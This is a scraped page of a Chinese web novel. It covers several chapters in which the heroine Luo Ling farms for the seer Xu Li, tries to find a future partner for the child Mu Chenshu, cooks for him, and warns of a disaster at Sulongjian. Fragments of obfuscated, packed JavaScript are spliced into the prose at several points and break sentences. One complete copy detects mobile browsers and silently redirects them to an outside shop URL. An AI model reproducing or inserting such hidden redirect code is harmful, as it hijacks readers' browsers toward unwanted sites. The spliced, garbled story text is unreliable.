d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛绫靠在树上，揉着黏糊的双眼，就看到白发男子捂着泛红的鼻头，从地上爬起身。 虚漓？ 洛绫大惊失色，连忙要去扶他，虚漓却挥挥手道：“不用，你就坐那儿吧。” 洛绫听此只好乖乖坐在原地，不好意思地挠着后脑勺，见状虚漓幽幽一叹：“你倒的确是我的克星，看见你总要出点事故的。” “虚漓先生客气了，我和您拢共也不过就认识了两三日……”洛绫讪讪笑道。 “是吗？我认识你却有一阵子了——”虚漓抬手，一列奇形怪状的龟甲碎片悬浮在二人之间，“这些是我近十年全部的卜筮。” 洛绫一怔，“卜筮？” “是的，我为璇玑灵兽一族，族中本擅观星卜筮，不才显露了一些天分。”虚漓手撑着草地，展了展衣袍，跏趺而坐。 “好吧，不过您拿出的这些卜筮，小女子一窍不通，您可否详解详解？” 洛绫抠了抠太阳穴，他说他认识她好一阵子了，这家伙会算命，不会是自己身负系统的事情被他察觉了吧？ 虚漓看向面前环绕的龟甲，“小绫儿姑娘，你可知，小主人身上有一场天定的灾祸？” 39. 三十九 何为喜欢 “天定的灾祸？” 洛绫心猛地跳了下，她知道，她自然是知道的，她想不到的是，竟有人比她还知道得早。 “没错。”虚漓颔首，“我卜筮了多年，从未敢告知二位主人，只是怕泄露天机，惊扰小主人的命途。” “可你为何敢告诉我？” 虚漓淡淡道：“小主人的命途在卦象上来看，已是死无再死，绝无再绝了，我操纵星盘多年，一刻也未曾懈怠，却一丝一毫的变数都未能找到，只在近日，我才占出了一颗紫气之星。” “那颗紫气之星，是我？” 虚漓颔首：“我的直觉告诉我，是你，你或许无法理解，但我们璇玑一族向来信奉直觉。” “慢着，你告诉我这些，难不成是想让我拯救他吗？” 洛绫目光晦暗不明，她没法拯救他，她的目的从来都只是让他黑化罢了。 黑化算什么拯救？洛绫并非中二少女，她其实心里门清，这并不能让牧沉书真正得到救赎，书中角色的黑化，大多只是为了给看客们泄愤罢了。 “小绫儿姑娘，在你降临此处后，我便时时观测你的行迹，试图卜筮你的命途，很遗憾的是，关于你的命途我算不出一丝一毫，我也不知道你能否拯救小主人。” 虚漓紧紧盯着面前的白衣少女，“不过，你的确是唯一变数。” 洛绫怔然，虚漓望着沉默良久的少女。 她好久不说话，久到虚漓以为她是在思考这份突如其来的命运。 谁知少女忽然抬起头，朝他粲然笑道：“既然，您都说了我是小不点的紫气之星了，那，我是不是不用锄地了？是不是得给我好吃好喝的伺候了？” “……” 虚漓起身，灵气操控田埂上的锄头，丢到了洛绫的手边，“今日除不完草不许歇息。” “喂！你！” 洛绫义愤填膺地指着那白发男子，“你这也忒没心肝了！就这副态度还让我救人呢！” “卜筮之人，窥测天道，如涉命局，当受天谴。”虚漓挥了挥沾着草芥的袖子，“你记住，我已做完我能做的一切了，不论接下来发生何事，我都不会多加干涉，好生锄草吧——” 洛绫悻悻地起身，来到田地中，继续抡起锄头，在阳光下挥汗如雨地锄草。 * 洛绫在虚漓的田里干了好几天农活，两人虽不是很对付，不过兴许是她干农活时手脚锻炼得越发利索，渐渐的，他竟对她有些另眼相看，开始教她一些种植灵果灵草的技巧。 虚漓田中种植的大部分是疗愈方面的灵草，白暮颜、紫绡草一类，那紫绡草品种看着眼熟，洛绫想起小不点给丑丑疗伤时用的紫绡草，似乎就是虚漓所种。 一个破算命的，种这么多灵草做什么？洛绫心中奇怪。 而据虚漓本人所言，早年他跟着牧沉书的母亲在肃风门时，由于牧母极擅灵医之术，他便在她的指导下，帮她耕种灵草灵果，做后勤方面的工作。 日积月累下来，虚漓养成了下地的习惯，尽管后来随牧母搬至宿龙涧，此处山野灵草众多，取之不竭，他亦沉迷于培育、种植灵草灵果。 于是洛绫一边跟虚漓学习种田，一边从他那里套取关于宿龙涧的信息。 “话说，宿龙涧一直就长这样吗？没有石门？没有守门人之类的？” “不长这样，还能长什么样？”虚漓眉头紧蹙，“石门和守门人又是何物？” 奇怪，这也就是说，在魔邪入侵后，宿龙涧的存在方式、地理位置、掌控之人都有了翻天覆地的改变，那么，究竟是谁主宰了这一切的改变？ 洛绫没问太多，她获得的信息已是不少了。 比如，牧沉书的父母相当恩爱，一个是仙门女弟子，一个是身份不可言说的神秘人物，他在宿龙涧的童年生活也如他曾告诉过她的那样，温馨惬意中带点小小的孤独…… 现在她只需要陪着牧沉书，等待宿龙涧异变的那日便好，要看着这里的风景与生灵被摧毁，颇有一些等待末日降临的感觉，奇异而……有一些些悠闲？ 自然也没那么悠闲，她先前还答应了要给牧沉书找对象，虽然他是个小娃娃，可不是那种好骗好哄的小娃娃。 这不，干了一上午的农活，下午，洛绫便不得不趁着虚漓睡午觉，偷溜出院子，跑到牧沉书居住的竹林给他出主意。 “我看，你要找道侣，首先要做的事情便是——” 洛绫用炭笔在随手拿的张草纸上写下了“壹”。 二人趴在屋内软榻上，凑成一团，就围着那张草纸密谋。 牧沉书抬起脸，用期待的目光望着白衣少女。 “首先，你得知道你喜欢什么样的女孩儿啊？” 洛绫敲了敲牧沉书的额头，男孩眨着眼：“为何是女孩？” “……难不成你还想要男孩？”洛绫眉角抽搐着。 “所以道侣都是女子吗？” 他的目光清澈到令洛绫觉得无语，“我的小不点，你的脑子要是稍微能用一点点到人际交往上，也不至于连这都搞不明白吧……” 洛绫在草纸上继续涂抹，“这是男的，这是女的，男的找道侣就找一个这样的女的，女的找道侣自然就是找这样一个男的，反正，至少在五洲之上，只听过男的和女的结为道侣的，至于女的和女的，男的和男的，那跟你也没关系——” “好吧，我要找一个女子做我的道侣，那小绫儿，你要找一个男子吗？” 洛绫抠了抠脑门，干笑道：“我谁也不找，我不需要道侣。” “为什么？” 牧沉书满脸不解，“阿爹说，人都得找个伴侣的。” 牧沉书啊牧沉书，搞了半天，你幼年期的恋爱脑，都是被你爹给培养？ 洛绫撑着下巴解释道：“因为绫姐姐有家人，有朋友，所以就不需要道侣了——” “朋友……” 他埋下了头，过了好一会儿，洛绫用肩膀碰了碰他，男孩这才抬起眸子，缓缓摇头：“我不要朋友。” 真是个奇怪的小家伙，罢了，洛绫耸肩，指着草纸上用炭笔手绘的“女孩”画像，“所以，小不点，你有思路没？你喜欢什么样的女孩？” 她唇角弥漫着窃窃的笑意，虽然是小时候的牧沉书，但能得知牧沉书喜欢的类型这件事，还是让她的八卦之魂熊熊燃烧。 “长得好看的。”小男孩仰着头不假思索地道。 “……” 好没劲的回答，不过毕竟牧沉书再怎么无欲无求，也是男的，也是个人，人都是喜欢的漂亮生物的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男孩的语气相当恳切，恳切到洛绫都有些愣神了，她在虚漓院中偷听时也隐约知道了此事，可她更加不解，牧沉书在书中是理所当然的天之骄子，高岭之花，何至于无法修炼？ 莫非…… “你爹娘不让你修炼吗？”洛绫试探问道。 “对。”牧沉书点头，“他们只教我一些简单的术法，其他都不准我学，说是，我身子不好，学多了恐怕活不过弱冠之年……” “是吗？” 洛绫思忖着，牧沉书身上的确有个病，他自己提起过，在入门修炼时便得上了的怪病，灵气偶尔会全然蒸发。 不过，这个病并无性命之虞，他也安安稳稳地修炼了千年之久，那么他父母这番言论和举措委实奇怪。 洛绫捏了捏牧沉书的脸蛋，“你想修炼对不对？” “我，我自然是想的。” 洛绫挑眉道：“那你之前还说你不想当仙人呢？” “这不是一回事。”牧沉书红着脸，“凡人太弱小了，我想修炼，想变强——还有，若是我不强的话，我未来的道侣会不会嫌弃我？” “你小子这脑回路，委实是令我钦佩。” 洛绫无奈叹气，好好的一个小娃娃，可惜是个恋爱脑，恋的还是压根不存在的对象，与剑山上那个冰冷似霜、断念绝情的剑仙大人，怎么瞧都不是一个人嘛…… 若是她现在给他泼盆冷水，告诉他，未来的他不仅没道侣，还得打一千多年的光棍，这小家伙又会是何种反应？ 洛绫兀自乐呵了起来。 40. 四十 石头降生论 关于给牧沉书找对象这件事，洛绫心里已有了主意，便没再追问他下去，毕竟是小娃娃，没聊多久，牧沉书便趴在榻上睡了过去。 洛绫也只好陪他午睡了约莫小半个时辰，等到他醒来，又拿着胡萝卜和灵草到门外喂兔子。 丑丑暂时被二人关在了竹林中的笼子里，也算是天道好轮回，她总算是明白高岳为何要将丑丑关在笼中惩戒了，这恶兽顽劣成性，不好好管教着还真不成。 “我怎么觉着丑丑胖了许多？”洛绫一边喂胡萝卜，一边看向牧沉书，“你可别给它喂太多吃的。” 牧沉书摇头道：“我是按时按量喂食的，或许是前几日在虚漓那儿吃太多灵草灵果，肿胀起来了吧？” “肚子都大了一圈。”洛绫嘀咕着，本要喂下一根胡萝卜的手停了下来，却见丑丑双眼放光，趴在笼边对着她的手臂又摸又蹭，显得很是殷勤。 “都吃成大皮球了还这么饿，你这小东西……” 洛绫无奈摇头，禁不住它这般撒娇，还是丢了根胡萝卜给它。 喂完丑丑，二人提着草料桶回院子的路上，牧沉书冷不丁地道：“小绫儿，丑丑这模样，不会是有身孕了吧？” “噗！” 洛绫差点没被口水呛死，身孕？她想破脑袋也想不出丑丑这副馋样能和别的灵兽做些酱酱酿酿的事情，更何况—— “你知道它公的母的嘛，就说它有身孕了？”洛绫头疼地揉着太阳穴。 “那它是公的母的？” 洛绫顿时心虚，“我也不知道。” “这么说丑丑的确可能是有了身孕，我以前看书上说，有身孕之人都吃得多，体态还会变得更加丰腴。” 洛绫被他说得无言，横竖是摇头：“不可能，丑丑一直跟着我，哪有空怀孕？定然是你想多了——哼哼，小不点，你一个小娃娃竟能斩钉截铁地判定他人有无身孕？倒也不羞？” “羞什么？任何生灵都是会繁衍后代的，阿娘就是怀孕之后才有了我。” 这小子别的不行，生理课倒是挺过关。 二人回到了院中，洛绫将草料桶放在了架子上，就听见牧沉书在旁道：“小绫儿，你不会连这都不知道吧？” 洛绫对他突然的沾沾自喜表示无奈，小不点啊小不点，你绫姐姐不仅知道，还深入研究过……罢了，就不污染五洲未来的花朵了。 “我们都是从石头里出来的。” “嗯？” 洛绫感到不对，扭头看向牧沉书，他一本正经地道：“你果真不知道，世上有种石头叫降生石，只有怀有身孕的女子才能捡到，我们都是从石头里出来的——” “降生石……你从哪本书上看的？” “虚漓给我的书啊。” 他眨着清澈的大眼睛，洛绫扶着腰笑得上气不接下气，搞了半天，这家伙还以为自己是从石头缝里蹦出来的。 “你笑什么？”牧沉书见她发笑，甚是不解。 洛绫拍了拍他的肩膀，抹着眼角笑出的泪水，“没，没什么，你说的没错，咱们啊，都是从石头里蹦出来的！” * 洛绫和牧沉书玩耍打闹了许久，回到虚漓那儿是后半下午了。 她原以为虚漓会就着她偷溜去找牧沉书的事情好生训诫她一番，谁知回去时，发现他坐在走廊尽头的亭中，竟趴在桌上睡着了。 虚漓这璇玑灵兽甚是多觉，玄照也喜欢调侃他上了年纪气血不足诸如此类。 “好时机，这不得在你这剥削地主的脸上好好画上两笔！” 洛绫从腰间掏出先前用过的炭笔，来到石桌旁，扒开了笔帽，俯下身，正要美滋滋地在他脸上涂抹，却恍然一怔。 亭子上方爬满了绿藤，阳光透过绿藤筛出缕缕金丝，洒落在白发男子青黛的眉、狭长的眼、薄薄的唇上……洛绫竟从未注意到，这家伙长得还挺俊美的。 她的手僵在半空中，静静注视着男子沉睡的容颜，直到他睫翼翕张，洛绫立马收起炭笔，装作若无其事地撑起了下巴。 虚漓醒了过来，望向旁侧的白衣少女，“你不去干活，在这里晃悠做什么？” “今日草也除了，水也浇了，就来四处走走。” 洛绫笑了笑。 “你去找小主人了？”他竟毫不客气地戳穿了她。 洛绫撇撇嘴，只好点头，“对啊，小不点想我了，所以我去看看他。” “你又与他胡闹了？” 虚漓乜了她一眼，洛绫嘀咕着：“什么胡闹？也就是聊会儿天，喂会儿兔子，您就算占卜出小不点会有什么灾祸劫难的，也用不着把他圈养起来，任谁都不能靠近他吧？” “我是为他好。” “那我也是为了他好。”洛绫敲了敲桌子，“你不是跟我说，我是什么紫气之星吗？我才是能改变他命运的那个人，既然如此，怎么救他教他，你不是得听我的？” “你……” 虚漓被她说得一时不知如何辩驳，只得摇头叹气：“但愿你真是什么紫气之星吧，见到你后，我这份信念倒是越发不坚定了。” “您还好意思说我呢，虚漓先生——”洛绫撑着下巴，满脸的笑意，“您就是这么保护小不点的啊？给他本书，告诉他，他是从石头缝里蹦出来的？” 虚漓听此一愣，而后移开目光，略有些心虚地道：“你是怎么知道此事的？” “小不点信誓旦旦跟我说的啊，笑煞我也，那家伙不会到处传播这谬论吧？等他长大后还不知要羞愤成什么样呢。” 洛绫边说边笑，虚漓脸颊漫上红粉，他轻咳一声：“小主人他，自幼好奇心重，这种事自然也不能与他细讲，我便只好出此下策。” “有何不好细讲的？告诉他，他是他父母恩爱的结合不就好了……” 洛绫说着说着，发觉虚漓震惊而奇异的目光后，立马闭上了嘴，她差点忘了，此处可并非现代，即便在现代，家长们也很少将性教育摆上台面。 “好吧，等小不点大一些再告诉他好了……这个……你们做家长的定夺就好。”洛绫讪讪笑着，而后撩起裙摆起身，“我回去看看后院的灵草！” “慢着。” 虚漓忽然叫住了她，洛绫转过身，看到白发男子晦暗不明的眼神，他压低声音道：“我联系到二位主人了，他们应当下个月就会回宿龙涧。” “哦……”洛绫沉吟了下，“你的意思是，让我下个月就离开宿龙涧吗？” 虚漓点头道：“你毕竟不属于这里，是我强行要留下你的。” “你不怕我是个坏人，离开后泄露宿龙涧的机密？” “我一直都知道你不是坏人，起先留下你，只是因为卜筮得知你为紫气之星，想由你改变小主人的命运。” 洛绫眨眨眼，“那为何现在不留我了？” “我犯了糊涂，习得玄术多年，却认为单靠束缚你，就能改变小主人的命运，你说得没错，玄照说得也没错，我对小主人的确太过严苛，这样来如山倒的命运，不是靠我这些小伎俩就能改变的，若是死局真要降临，我也希望——” 他顿了顿，“我也希望，小主人是自由，快乐地面对的。” 洛绫扬起笑容，朝他重重点头，“好！” * 过了两日，虚漓果真放开了对牧沉书的限制，他能自由地出入宿龙涧，再也不用像从前一样偷偷摸摸地溜出去。 洛绫也趁此时机，带着他离开宿龙涧，来到了十里村。 “小绫儿，你带我来这里做什么？” “陪你来这里找道侣啊。”洛绫在街边摊子上，买了两个糖人，一个捏的是吊睛白额的老虎，一个捏的是耍枪舞棍的青年。 她对着两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038186|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖人，笑嘻嘻地道：“你看这两个糖人像不像武松打虎，你要哪个？” 牧沉书指了指右边的道：“我要老虎。” 洛绫将老虎糖人递给他，他接过糖人，照着其他孩童吃糖人的方式，慢慢地舔了舔手中的老虎。 “好甜……”他皱了皱眉。 “话说回来，小不点，你父母不在家，你在宿龙涧是怎么吃饭的？我怎么从来没看到过你吃饭？”洛绫问他。 牧沉书回道：“我不吃饭。” “你一个小孩儿，又并非修士，竟敢不吃饭？” “阿娘阿爹做饭都很难吃，我不爱吃，他们不在，我就吃点阿照给的丹药饱腹。” “这样能行吗？”洛绫惊呆了。 牧沉书却相当淡然，“这样不好吗？反正吃饭也很麻烦，吃丹药可以省下好多时间做自己的事情。” 洛绫作为一名小馋鬼，是相当不理解他的脑回路，更何况，未来的牧沉书对于吃方面是很挑剔讲究的，做菜的手艺更是十分优秀，小时的他竟连吃饭都懒得吃，也是稀奇。 “可怜的小家伙。”洛绫叹了口气，摸着他的脑袋，“等有空姐姐给你买点好吃的——” “不过，小绫儿，你身上怎么会有钱，能在凡间买东西？” 牧沉书不解地问她。 洛绫神秘地笑了笑：“那自然是因为我有人脉啊。” “人脉？” 洛绫牵起他的手，一路往前走，走过街头巷尾，来到一片空地，空地上有一棵大大的槐花树，几个小孩在树下跳着房子，扔着沙包。 牧沉书看向身畔的白衣少女，目光微微闪烁。 见洛绫现身，孩子们纷纷围了上来，“仙子姐姐来了！” 小桃最先来到洛绫前方，注意到牧沉书的存在，笑着问她：“仙子姐姐，你怎么带了个小孩过来？” “他叫沉书，是仙子姐姐从天上带下来的朋友，怎么样，长得好看吧？” “嗯！好看！”小桃双眼亮晶晶的。 一群孩子也叽叽喳喳的议论着。 “我在村子里从来没见过这么好看的男孩。” “他穿着丝绸，是富贵人家的公子吗？” “什么公子？仙子姐姐带过来的，自然是天上的小仙人！” …… 牧沉书忽的握紧了洛绫的手，往她身后躲了躲，洛绫以为他怕生，便对小桃道：“小桃，你们今日玩了多久了？” “刚开始玩。” “在玩跳房子么？” “对！” 洛绫笑道：“能不能让我和沉书也加入？” “当然了仙子姐姐。”小桃双眼笑成了月牙，朝站在她身侧的牧沉书伸了伸手，“你好，我叫小桃，我们一起玩好吗？” 洛绫朝他使了使眼色，伸手啊，这可是我给你创造的绝佳机会！ 牧沉书抬起了头，洛绫以为下一刻他就该往前去握住小桃的手，谁知他却低声道：“不要。” “什么？”洛绫一定。 “我说不要。”他抬高声量，忽然甩开她的手，眸光寒如冰棱，“我告诉过你，我不想要朋友。” “你……” 洛绫还不明白他为何突然发作，就见他不管不顾地转过身，从腰间掏出一张符纸，顷刻间消隐了身影。 “哇！他果真是仙人，竟一下子就不见了！” 孩子们惊叹连连，洛绫看着消失不见的牧沉书，一时措手不及。 小桃满头雾水地问道：“仙子姐姐，我惹你的朋友不高兴了吗？” “没有。”洛绫摸着她的头发，“好像是我惹他不高兴了。” 小桃更加不解，洛绫叹了口气，将刚买的糖人递到她手中：“给你，你和其他人去玩吧。” 小桃拿了糖人，道谢过后，欢喜地回去继续跳房子了。 41. 四十一 唯一的那个人 洛绫起先以为牧沉书怄气回宿龙涧了，回到宿龙涧却发现他并不在竹林，又遣返回十里村，来到了二人初遇的那个山洞。 时值盛夏，山洞旁的那条长河河畔，飞满各色的蜻蜓，洛绫甚至都没注意到有一只白的落到了她头发窝里，等到进了山洞才发觉，将蜻蜓捉到了手中。 牧沉书果然在山洞里头，抱着双膝，一个人蜷缩在角落里，连灯都没点。 “我听小桃说，这叫月落蜓，是暮国独有的一种蜻蜓。”洛绫擒着那蜻蜓送到了他面前。 男孩却还是不说话，洛绫只好将蜻蜓放了去，看着蜻蜓振翅飞离，缓缓叹了口气。 “我是不是惹你不高兴了？” “没有。” 洛绫拉了张凳子，坐在了他的前方，她托腮道：“是因为我让你跟那群孩子一起玩？你觉得我不是给你找道侣，是给你找朋友来着？” “不是。” 洛绫觉得这家伙从小就有点别扭，从小就心深如海，她以前闹不懂他脑子里在想什么，现在也是如此。 她柔声问道：“你为什么不想要朋友？小不点，告诉我，是有谁伤害过你吗？” 牧沉书默然半晌，洛绫以为将要听不到他的回答时，他却缓缓开口道：“我跟他们不一样，那些凡人……你真的不理解吗？” “我理解不了。” “不是所有人都想要朋友，想要所谓的友情的，我自己也可以过得很好。” 是这样倒也没错，洛绫一怔，却听牧沉书接着道：“小时候，我也试图和凡人做朋友，但他们理解不了我，我也理解不了他们，反而会招致一些不必要的麻烦。” “好吧，那你去找和你一样，诞生在修士家族的孩子呢？” “特意去寻找和自己相同处境的人，很麻烦，所以我干脆不要朋友，我有玄照，有虚漓，有宿龙涧那么多家人陪着我，我不需要更多亲密关系……” 洛绫觉着他在逞强，不过也没戳破他，如今的他尚且年轻，紧持着自己的心高气傲。 她只是不理解：“可你刚刚那么生气干嘛？不要朋友就不要朋友嘛，我也没想真给你找朋友，你看那儿那么多可爱的小女孩，你也可以物色物色，找个道侣啊？” “我生气是因为……”他目光闪烁着，“我不是特殊的。” “嗯？” 洛绫满头雾水，牧沉书见她一副毫无自觉的模样，似乎更加气恼起来，干脆背过身，转过头，继续不理她。 洛绫将凳子提起来，再次搬到了他的面前，这回换她生气了，“喂，你有话直说，小小年纪天天阴阳怪气，跟个谜语人似的！” “我以为我和你的关系很特殊，但你其实背着我和那么多孩子玩得好，还有那个叫小桃的，在你眼里她和我是不是没区别？” 他忽的仰起头，浑身抖得像站在严寒深冬的雪地。 “……” 洛绫眯起眼，过了好一会儿，才嗤的笑出声，点头道：“哦，你吃醋了？” “我……”牧沉书脸红成了苹果，立即撇开头。 “你这小醋坛子，吃醋也不直说。”洛绫啧啧道，“还背着我一个人生闷气，你和小桃能一样吗？” 牧沉书抬起双眸问道：“我们有什么不一样？” “是不一样，她比你懂事多了。” 牧沉书立时气得眼里莹莹闪烁，下一刻似乎都要飚泪花了，洛绫笑道：“不过你在我心目中，是世上独一无二的，在这个世界上，你是我最重要的人。” 男孩怔然，“真……真的？” “真的啊。”洛绫俯下身，轻抚着男孩柔如缎、深如墨的长发，“我一开始就告诉过你，我是为你而来的。” 牧沉书抬手擦了擦眼角还未滴落的泪水。 洛绫起身想要去桌上给他拿张手帕，谁知他却一把扑到了她怀中，男孩纤细的手臂紧紧搂着她的腰际，无论如何也不撒手。 “怎么了？” “我不要道侣，也不要成婚了。” 洛绫颇为意外，恋爱脑小子忽然不恋爱脑了，这是要做什么？ “我的愿望能不能改一改？” 洛绫无奈，“你想改成什么？” “小绫儿，你永远陪在我身边好不好？” “可你不是不要朋友吗？不要什么亲密关系吗？”洛绫逗着他。 牧沉书哑着声音道：“那……我们不做朋友，不做家人，我们只做彼此唯一的那个人如何？” 洛绫呆怔许久，这家伙，是怎么做到小小年纪就能这么说出这样腻歪的话的，若是她不知道，还以为他是在说情话呢…… “当然可以。”洛绫唇角扬了扬，“那你可记住，从今以后，我在你心里就是唯一的那个人哦。” 听到她的回答，男孩眼中绽开灿然的笑意。 * 回到宿龙涧是晚上了，牧沉书回去就歇下了。 洛绫想着这小家伙过惯了苦日子，爹娘做饭难吃，整日靠吃丹药度日，便打算第二日给他做点菜吃，于是从晚上就开始备菜。 洛绫并不很擅长的厨艺，她的厨艺维持在能勉强养活自己的水准，不过先前在剑山时，她跟着牧沉书学了不少，此时此刻，也算是用从他身上所学技艺来反哺他了。 到了第二日，洛绫特意跟虚漓告假，让应福代她去锄草，在厨房忙活了一上午，把牧沉书支出去陪丑丑玩。 好容易她做了一桌子菜，牧沉书陪丑丑玩了一上午，也终于从林中归来。 她站在院门前接他回来，小男孩还在絮絮叨叨地跟她说，丑丑近来似乎又圆润了许多，每回要吃掉一大桶胡萝卜。 “你饿不饿？” 洛绫微微一笑。 牧沉书愣了愣，摸了摸瘪瘪的肚子，的确，陪着丑丑玩了一上午，他是有些饿了。 “屋子里还有些丹药，我回去吃点就好——” “等等。”洛绫拦住了他，“今天不吃丹药，吃点好的。” 牧沉书满脸疑惑，还没反应过来，便被少女一把拉进了房中，却见房中圆桌之上，摆着大大小小的碗碟，饭香味扑鼻而来。 桌上摆的是清炒菜苔、香葱煎蛋、清蒸鲈鱼、一盅蟹粉狮子头，以及一份紫菜冬瓜汤。 “好久没做这么多菜了，你尝尝？” 洛绫拉着牧沉书坐下，男孩露出疑惑的神情，“小绫儿，你做菜干嘛？” “你不是说你在宿龙涧没怎么好好吃过饭嘛？我就想着帮你做回菜，让你尝尝我的手艺。”洛绫得意地扬起下巴。 “你从前也经常做菜吗？” “倒并不是……”洛绫一边给他盛汤，唇角一边上翘，从前都是你给我做菜来着。 男孩拿起筷子，不知是否是从前吃饭给他留下了极深的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好啊！”牧沉书一口应下，眼中立时浮上笑意，“你就住在山洞里好了。” “嗯……”洛绫点头，“我会回宿龙涧看你的，还有……你这小不点可别得意忘形，就算我现在不离开，你也得早点习惯没我的生活。” 牧沉书却瘪嘴道：“我不习惯——你不许丢下我一个人。” 啧，这话，倒是一千年都没变过。 洛绫淡淡笑道：“好，我不丢下你一个人。” 但是对不起了，小不点，我迟早得离开过去，迟早得回到未来，因为在那里，我还答应了另一个人，我不能丢下他。 吃完饭，收拾碗筷的任务便交给了牧沉书，洛绫想到先前在剑山，这样的状况是反过来的，往往是牧沉书做饭，她和小月儿收拾碗筷。 看着男孩在厨房清洗锅碗的忙碌身影，她唇角也不由浮上浅浅的笑意。 日子一天天的过去了，牧沉书近来拾起了许久不练习的剑术。 据玄照说，牧沉书的父亲极擅剑术，因此对他在这方面要求相当严格，虽不能修炼灵法，小牧沉书却还是照常学习剑术，才年纪轻轻便耍得一手好剑了。 很快，便到了洛绫该离开宿龙涧的日子。 42. 四十二 私情 洛绫走的时候没把丑丑带上，为了紧密跟进宿龙涧的剧情，预知那场异变的由来，她还是打算有空便回来看望牧沉书的。 再者说，丑丑现在吃得有点忒多了，她打算等系统告知她BUG修补好之后再将丑丑携带上，不然不知要耗费多少精力财力照料它。 况且丑丑那副富态的样子，肚皮圆滚滚的，她还真有点担心它是有身孕了。 怪了，这小家伙分明和她寸步不离的，莫非是在肃风门的时候就和哪个来路不明的灵兽颠鸾倒凤不知天地为何物了？ 一只兔子都活得比她有滋有味。 洛绫不禁心中感叹。 她虽离开了宿龙涧，一个人居住在山洞之中的秘密基地，却好似没离开一般，不仅牧沉书一天到晚来看她，玄照也会时不时来找她说话。 甚至虚漓，这家伙倒是不清楚她如今居住在何处，不过每回她回到宿龙涧时，他都会装作若无其事地给她送一两样灵草和灵果，活像个会刷资源的NPC。 洛绫接过灵草，每每也要装作不知情的样子收下。 不过玄照说，或许是他那儿以前冷清，恰好洛绫住了个把月，把气氛搞得热烈起来，现今又搬走了，他心中还有些依依不舍。 “也不指定，他铁树开花，对你有几分意思呢？” 玄照倒是乐得调侃她，洛绫无奈，她心里知道，虚漓是记挂牧沉书，因此也记挂自己这个能给牧沉书带来转机的紫气之星。 她或许的确可以改变这些人的命运，这些活生生的人，在宿龙涧青山绿水之间，蓬勃流淌的生命力，只要她说出实情，让他们提防警戒，避免魔邪的入侵，未来是否就会改变呢…… 可用不着系统提醒，洛绫也很清楚，若是宿龙涧没有毁坏，牧沉书难说会否前往肃风门修炼，若是牧沉书没有前往肃风门修炼，他与女主的关联消失，原作中的戏份也消失，她的任务就不一定能存在了。 那么到时候，她怎么投胎转世？怎么摆脱自己成为灯笼鱼的命运？ 没人想当圣母，又或许人人都是圣母，洛绫没法忽视任由事态发展的残忍，特别是，她似乎还和玄照、虚漓成了关系不错的朋友。 牧沉书父母之死大概率是避免不了，不过，洛绫的确可以有意引导玄照和虚漓活下去，毕竟在未来她也的确见到了活着的玄照，尽管她是以那样“黑烟”的形式存活的。 她离开后不久，牧沉书的父母便如期回到了宿龙涧，洛绫吸取了经验教训，没有再多和那两人有任何瓜葛。 他们是必死的，这是无论如何都无法改变的走向。 打定主意帮虚漓和玄照躲过这场灾祸后，洛绫便找个时机进了宿龙涧。 自从虚漓彻底放开对她的管控后，她出入宿龙涧便相当自由了，事实上，宿龙涧本就没什么守卫，因此后来被魔邪猝然入侵似乎也很合情合理。 她来到虚漓院中，童子应福本在扫地，一看到她立刻抬头道：“小绫儿姑娘，你来了？” 洛绫连忙朝他比了个噤声的手势，径自往后院寻虚漓去了。 她一来到后院，远远便看到男子斜倚在树下，一帘白发随风而动，如雪浪翻涌。 洛绫觉得这画面甚是美好，便不自觉慢下了脚步。 “来找我有何事？” 他修剪着一盆灵气萦绕的白暮颜，那白暮颜花卉晶莹，叶片修长，看得出养花之人对其精心呵护。 听到旁侧传来细碎的脚步声，他不由抬起了头。 洛绫本还准备给他来个惊喜，被识破后只好朝他讪讪一笑，干脆来到他身侧，一屁股坐了下来。 “虚漓先生，这宿龙涧我随随便便就进来了，你说，是不是不太安全啊？” 虚漓不以为然，“宿龙涧的入口与我气息相连，我能感知到进来的是何人。” “哦，这么说是你放我进来的……”洛绫凝神思索片刻，“可即便入口处与你心神相连，那也并不算稳妥，没人守着，万一大量魔邪涌入岂不是防不胜防？” 虚漓修剪枝叶的手忽然停在了空中，“你，是不是有什么话要讲？” 洛绫顿了顿，便也不打算再疯狂暗示了，她定定望着虚漓道：“我，我直觉最近会有一场灾祸，只是直觉，你信我吗？” 虚漓默然半晌，放下了手中的剪子，缓缓点头道：“看来是我小觑你了，你竟能单凭直觉嗅到灾厄的气息。” “你早知道？” “我知道，玄照也知道。”虚漓颔首，“我也已告知了二位主人，建议他们在宿龙涧建立更加牢固全面的万佑宝阵，以护佑宿龙涧的安宁。” 洛绫一怔，“万佑宝阵建了吗？” “阵法已建好，你放心，以二位主人的实力，没有魔邪能闯入。” “可万一有特别特别厉害的魔邪，厉害到不怕他们布的阵法怎么办？”洛绫额角渗出冷汗。 她没想到他们早就知道宿龙涧会有灾祸降临，也做足了万全的准备，那后来在宿龙涧屠戮的魔邪到底会是多么可怕的存在？ 虚漓听此微笑道：“这世上不当会有这样的魔邪，我很相信二位主人的实力——若真有，恐怕这五洲六界都将覆灭于此了，逃到天涯海角也无用。” 洛绫心中骇然，被他这话弄得心神不宁，可虚漓都这样说了，她还能如何提醒？ 